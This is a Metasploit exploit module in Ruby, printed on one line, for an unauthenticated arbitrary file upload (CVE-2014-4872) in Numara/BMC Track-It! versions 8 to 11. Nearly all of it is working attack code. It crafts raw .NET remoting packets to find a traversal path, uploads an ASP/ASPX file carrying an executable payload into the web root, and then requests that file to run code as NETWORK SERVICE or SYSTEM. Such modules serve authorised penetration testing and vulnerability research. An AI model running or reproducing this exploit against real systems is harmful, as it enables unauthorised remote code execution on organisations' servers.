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## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'Numara / BMC Track-It! FileStorageService Arbitrary File Upload', 'Description'=> %q{ This module exploits an arbitrary file upload vulnerability in Numara / BMC Track-It! v8 to v11.X. The application exposes the FileStorageService .NET remoting service on port 9010 (9004 for version 8) which accepts unauthenticated uploads. This can be abused by a malicious user to upload a ASP or ASPX file to the web root leading to arbitrary code execution as NETWORK SERVICE or SYSTEM. This module has been tested successfully on versions 11.3.0.355, 10.0.51.135, 10.0.50.107, 10.0.0.143, 9.0.30.248 and 8.0.2.51. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>'# vulnerability discovery and MSF module ], 'License'=> MSF_LICENSE, 'References' => [ [ 'CVE', '2014-4872' ], [ 'OSVDB', '112741' ], [ 'US-CERT-VU', '121036' ], [ 'URL', 'http://seclists.org/fulldisclosure/2014/Oct/34' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/bmc-track-it-11.3.txt' ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Platform' => 'win', 'Arch' => ARCH_X86, 'Targets'=> [ [ 'Numara / BMC Track-It! v9 to v11.X - Windows', {} ], ], 'Privileged' => false, 'DefaultTarget'=> 0, 'DisclosureDate' => 'Oct 7 2014' )) register_options( [ OptPort.new('RPORT', [true, 'TrackItWeb application port', 80]), OptPort.new('RPORT_REMOTING', [true, '.NET remoting service port', 9010]), OptInt.new('SLEEP', [true, 'Seconds to sleep while we wait for ASP(X) file to be written', 15]), OptString.new('TARGETURI', [true, 'Base path to the TrackItWeb application', '/TrackItWeb/']) ], self.class) end def get_version res = send_request_cgi!({ 'uri'=> normalize_uri(datastore['TARGETURI']), 'method' => 'GET' }) if res and res.code == 200 and res.body.to_s =~ /\/TrackItWeb\/Content\.([0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,4})\// version = $1.split(".") return version end end def check version = get_version if version != nil if (version[0].to_i < 11) or (version[0].to_i == 11 and version[1].to_i <= 3) or (version[0].to_i == 11 and version[1].to_i == 3 and version[2].to_i == 0 and version[3].to_i < 999) ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if not sock.nil? sock.write(rand_text_alpha(rand(200) + 100)) res = sock.recv(1024) if res =~ /Tcp channel protocol violation: expecting preamble/ return Exploit::CheckCode::Appears end sock.close end else return Exploit::CheckCode::Safe end end return Exploit::CheckCode::Unknown end def longest_common_substr(strings) shortest = strings.min_by &:length maxlen = shortest.length maxlen.downto(0) do |len| 0.upto(maxlen - len) do |start| substr = shortest[start,len] return substr if strings.all?{|str| str.include? substr } end end end def get_traversal_path # # ConfigurationService packet structure: # # @packet_header_pre_packet_size # packet_size (4 bytes) # @packet_header_pre_uri_size # uri_size (2 bytes) # @packet_header_pre_uri # uri # @packet_header_post_uri # packet_body_start_pre_method_size # method_size (1 byte) # method # @packet_body_pre_type_size # type_size (1 byte) # @packet_body_pre_type # type # @packet_terminator # # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx # packet_body_start_pre_method_size = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x11, 0x00, 0x00, 0x00, 0x12 ] service = "TrackIt.Core.ConfigurationService".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) method = "GetProductDeploymentValues".gsub(/TrackIt/,(@version == 11 ? "Trackit" : "Numara.TrackIt")) type = "TrackIt.Core.Configuration.IConfigurationSecureDelegator, TrackIt.Core.Configuration, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service file_storage_dir_str = "FileStorageDataDirectory" web_data_dir_str = "WebDataCacheDirectory" packet_size = @packet_header_pre_uri_size.length + 2 + # uri_size @packet_header_pre_uri.length + uri.length + @packet_header_post_uri.length + packet_body_start_pre_method_size.length + 1 + # method_size method.length + @packet_body_pre_type_size.length + 1 + # type_size @packet_body_pre_type.length + type.length # start of packet and packet size (4 bytes) buf = @packet_header_pre_packet_size.pack('C*') buf << Array(packet_size).pack('L*') # uri size (2 bytes) buf << @packet_header_pre_uri_size.pack('C*') buf << Array(uri.length).pack('S*') # uri buf << @packet_header_pre_uri.pack('C*') buf << uri.bytes.to_a.pack('C*') buf << @packet_header_post_uri.pack('C*') # method name buf << packet_body_start_pre_method_size.pack('C*') buf << Array(method.length).pack('C*') buf << method.bytes.to_a.pack('C*') # type name buf << @packet_body_pre_type_size.pack('C*') buf << Array(type.length).pack('C*') buf << @packet_body_pre_type.pack('C*') buf << type.bytes.to_a.pack('C*') buf << @packet_terminator.pack('C*') ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") else print_status("#{rhost}:#{@remoting_port} - Getting traversal path...") end sock.write(buf) # read from the socket for up to (SLEEP / 2) seconds counter = 0 web_data_dir = nil file_storage_dir = nil while counter < datastore['SLEEP'] begin readable,writable,error = IO.select([sock], nil, nil, datastore['SLEEP'] / 2) if readable == nil break else sock = readable[0] end buf_reply = sock.readpartial(4096) if (index = (buf_reply.index(file_storage_dir_str))) != nil # after file_storage_dir_str, discard 5 bytes then get file_storage_dir_size size = buf_reply[index + file_storage_dir_str.length + 5,1].unpack('C*')[0] file_storage_dir = buf_reply[index + file_storage_dir_str.length + 6, size] if file_storage_dir != nil and web_data_dir != nil break end end if (index = (buf_reply.index(web_data_dir_str))) != nil # after web_data_dir_str, discard 5 bytes then get web_data_dir_size size = buf_reply[index + web_data_dir_str.length + 5,1].unpack('C*')[0] web_data_dir = buf_reply[index + web_data_dir_str.length + 6, size] if file_storage_dir != nil and web_data_dir != nil break end end counter += 1 sleep(0.5) rescue SystemCallError break end end sock.close if file_storage_dir != nil and web_data_dir != nil # Now we need to adjust the paths before we calculate the traversal_size # On the web_data_dir, trim the last part (the Cache directory) and add the Web\Installers part # which is the path accessible without authentication. # On the file_storage_dir, add the IncidentRepository part where the files land by default. # We then find the common string and calculate the traversal_path. web_data_dir = web_data_dir[0,web_data_dir.rindex("\\")] + "\\Web\\Installers\\" file_storage_dir << "\\Repositories\\IncidentRepository" common_str = longest_common_substr([file_storage_dir, web_data_dir]) traversal_size =file_storage_dir[common_str.rindex("\\"), file_storage_dir.length].scan("\\").length traversal_path = "..\\" * traversal_size + web_data_dir[common_str.rindex("\\") + 1,common_str.length] return traversal_path else return nil end # Note: version 8 always returns nil as the GetProductDeploymentValues does not exist end def send_file(traversal_path, filename, file_content) # # FileStorageService packet structure: # # @packet_header_pre_packet_size # packet_size (4 bytes) # @packet_header_pre_uri_size # uri_size (2 bytes) # @packet_header_pre_uri # uri # @packet_header_post_uri # packet_body_start_pre_method_size # method_size (1 byte) # method # @packet_body_pre_type_size # type_size (1 byte) # @packet_body_pre_type # type # packet_body_pre_repository_size # repository_size (1 byte) # repository # packet_body_pre_filepath_size # filepath_size (1 byte) # filepath # packet_body_pre_binary_lib_size # binary_lib_size (1 byte) # binary_lib # packet_body_pre_file_content_decl_size # file_content_decl_size (1 byte) # file_content_decl # packet_body_pre_filesize # file_size (4 bytes) # packet_body_pre_filecontent # file_content # @packet_terminator # # .NET remoting packet spec can be found at http://msdn.microsoft.com/en-us/library/cc237454.aspx # packet_body_start_pre_method_size = [ 0x00, 0x01, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x14, 0x00, 0x00, 0x00, 0x12 ] packet_body_pre_repository_size = [ 0x10, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x0a, 0x09, 0x02, 0x00, 0x00, 0x00, 0x06, 0x03, 0x00, 0x00, 0x00 ] packet_body_pre_filepath_size = [ 0x06, 0x04, 0x00, 0x00, 0x00 ] packet_body_pre_binary_lib_size = [ 0x0c, 0x05, 0x00, 0x00, 0x00 ] packet_body_pre_file_content_decl_size = [ 0x05, 0x02, 0x00, 0x00, 0x00 ] packet_body_pre_file_size = [ 0x01, 0x00, 0x00, 0x00, 0x09, 0x5f, 0x72, 0x61, 0x77, 0x42, 0x79, 0x74, 0x65, 0x73, 0x07, 0x02, 0x05, 0x00, 0x00, 0x00, 0x09, 0x06, 0x00, 0x00, 0x00, 0x0f, 0x06, 0x00, 0x00, 0x00 ] packet_body_pre_filecontent = [ 0x02 ] service = "TrackIt.Core.FileStorageService".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) method = "Create" type = "TrackIt.Core.FileStorage.IFileStorageSecureDelegator, TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) repository = "IncidentRepository" binary_lib = "TrackIt.Core.FileStorage, Version=11.3.0.355, Culture=neutral, PublicKeyToken=null".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) file_content_decl = "TrackIt.Core.FileStorage.FileContent".gsub(/TrackIt/,(@version == 11 ? "TrackIt" : "Numara.TrackIt")) uri = "tcp://" + rhost + ":" + @remoting_port.to_s + "/" + service filepath = traversal_path + filename packet_size = @packet_header_pre_uri_size.length + 2 + # uri_size @packet_header_pre_uri.length + uri.length + @packet_header_post_uri.length + packet_body_start_pre_method_size.length + 1 + # method_size method.length + @packet_body_pre_type_size.length + 1 + # type_size @packet_body_pre_type.length + type.length + packet_body_pre_repository_size.length + 1 + # repository_size repository.length + packet_body_pre_filepath_size.length + 1 + # filepath_size filepath.length + packet_body_pre_binary_lib_size.length + 1 + # binary_lib_size binary_lib.length + packet_body_pre_file_content_decl_size.length + 1 + # file_content_decl_size file_content_decl.length + packet_body_pre_file_size.length + 4 + # file_size packet_body_pre_filecontent.length + file_content.length # start of packet and packet size (4 bytes) buf = @packet_header_pre_packet_size.pack('C*') buf << Array(packet_size).pack('L*') # uri size (2 bytes) buf << @packet_header_pre_uri_size.pack('C*') buf << Array(uri.length).pack('S*') # uri buf << @packet_header_pre_uri.pack('C*') buf << uri.bytes.to_a.pack('C*') buf << @packet_header_post_uri.pack('C*') # method name buf << packet_body_start_pre_method_size.pack('C*') buf << Array(method.length).pack('C*') buf << method.bytes.to_a.pack('C*') # type name buf << @packet_body_pre_type_size.pack('C*') buf << Array(type.length).pack('C*') buf << @packet_body_pre_type.pack('C*') buf << type.bytes.to_a.pack('C*') # repository name buf << packet_body_pre_repository_size.pack('C*') buf << Array(repository.length).pack('C*') buf << repository.bytes.to_a.pack('C*') # filepath buf << packet_body_pre_filepath_size.pack('C*') buf << Array(filepath.length).pack('C*') buf << filepath.bytes.to_a.pack('C*') # binary lib name buf << packet_body_pre_binary_lib_size.pack('C*') buf << Array(binary_lib.length).pack('C*') buf << binary_lib.bytes.to_a.pack('C*') # file content decl buf << packet_body_pre_file_content_decl_size.pack('C*') buf << Array(file_content_decl.length).pack('C*') buf << file_content_decl.bytes.to_a.pack('C*') # file size (4 bytes) buf << packet_body_pre_file_size.pack('C*') buf << Array(file_content.length).pack('L*') # file contents buf << packet_body_pre_filecontent.pack('C*') buf << file_content buf << @packet_terminator.pack('C*') # send the packet and ignore the response ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['RPORT_REMOTING'], 'Context' => ctx }) if sock.nil? fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{@remoting_port.to_s} - Failed to connect to remoting service") else print_status("#{rhost}:#{@remoting_port} - Uploading payload to #{filename}") end sock.write(buf) sock.close # We can't really register our files for cleanup as most of the time we run under the IIS user, not SYSTEM end def exploit @packet_header_pre_packet_size= [ 0x2e, 0x4e, 0x45, 0x54, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00 ] @packet_header_pre_uri_size = [ 0x04, 0x00, 0x01, 0x01 ] @packet_header_pre_uri = [ 0x00, 0x00 ] # contains binary type (application/octet-stream) @packet_header_post_uri = [ 0x06, 0x00, 0x01, 0x01, 0x18, 0x00, 0x00, 0x00, 0x61, 0x70, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2f, 0x6f, 0x63, 0x74, 0x65, 0x74, 0x2d, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x00, 0x00 ] @packet_body_pre_type_size = [ 0x12 ] @packet_body_pre_type = [ 0x01 ] @packet_terminator = [ 0x0b ] version = get_version if version != nil @version = version[0].to_i else # We assume it's version 9 or below because we couldn't find any version identifiers @version = 9 end @remoting_port = datastore['RPORT_REMOTING'] traversal_path = get_traversal_path if traversal_path == nil print_error("#{rhost}:#{@remoting_port} - Could not get traversal path, falling back to defaults") case @version when 9 traversal_path = "..\\..\\..\\..\\Web Add-On\\Web\\Installers\\" when 10 traversal_path = "..\\..\\..\\..\\..\\Numara Track-It! Web\\Web\\Installers\\" when 11 traversal_path = "..\\..\\..\\..\\..\\Track-It! Web\\Web\\Installers\\" end end # generate our payload exe = generate_payload_exe if @version == 9 file_content = Msf::Util::EXE.to_exe_asp(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" else file_content = Msf::Util::EXE.to_exe_aspx(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" end send_file(traversal_path, filename, file_content) # sleep a few seconds, sometimes the service takes a while to write to disk sleep(datastore['SLEEP']) print_status("#{peer} - Executing payload") res = send_request_cgi({ 'uri'=> normalize_uri(datastore['TARGETURI'], "Installers", filename), 'method' => 'GET' }) if res if res.code == 500 print_error("#{peer} - Got HTTP 500, trying again with " + (@version == 9 ? "ASPX" : "ASPX")) # try again but now use ASPX instead of ASP or vice-versa if @version == 9 file_content = Msf::Util::EXE.to_exe_aspx(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".aspx" else file_content = Msf::Util::EXE.to_exe_asp(exe) filename = rand_text_alpha_lower(rand(6) + 6) + ".asp" end send_file(traversal_path, filename, file_content) # sleep a few seconds, sometimes the service takes a while to write to disk sleep(datastore['SLEEP']) print_status("#{peer} - Executing payload") res = send_request_cgi({ 'uri'=> normalize_uri(datastore['TARGETURI'], "Installers", filename), 'method' => 'GET' }) end end if not res or res.code != 200 fail_with(Exploit::Failure::Unknown, "#{peer} - Could not execute payload" + (res ? ", got HTTP code #{res.code.to_s}": "")) end handler end end |
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